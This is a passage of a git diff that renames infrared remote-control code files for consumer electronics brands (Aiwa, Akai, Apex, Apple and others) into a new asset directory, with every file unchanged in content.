assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/CD Player/118,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Cassette Tape/115,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Mini System/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Receiver/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown/127,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA-RC-5VP05/127,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/118,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/127,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AIWA/72,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_AWIA-RC-ZVR04/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_HIFI/112,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-6AS07/112,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-7AS06/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AS04/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-8AT02/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-AVT02/123,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-BVR02/110,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-C105/118,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-CAS10/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L01/112,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-L60E/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T503/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-T504/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TD3/112,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN320EX/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN330/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN360/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN500EX/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-TN520EX/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-X97/134,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-XR-MD201/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS02/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAS10/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZAT04/112,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_RC-ZVR02/127,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_S79/72,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_hu/112,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-c003/118,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tn380b/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc-tz650/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/Unknown_rc6as14/110,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/127,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aiwa/VCR/130,111.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/CD Player/141,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_AKAI-RC-AAV2100/160,160.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-61A/11,11.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_Akai-RC-V23E/137,119.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-C79/141,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_RC-W152E/137,119.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/131,101.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_akai/139,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Akai/Unknown_rc-c37/141,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Antex Electronics/Satellite Radio/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Media PC/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Aopen/Unknown_RC-R470/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/DVD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_AD-600A/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R200/0,238.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_DV-R383/0,238.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12B-C2/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_K12K-C5/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-1200/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apex/Unknown_RM-2600/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Apple/Apple TV/238,135.ir rename to 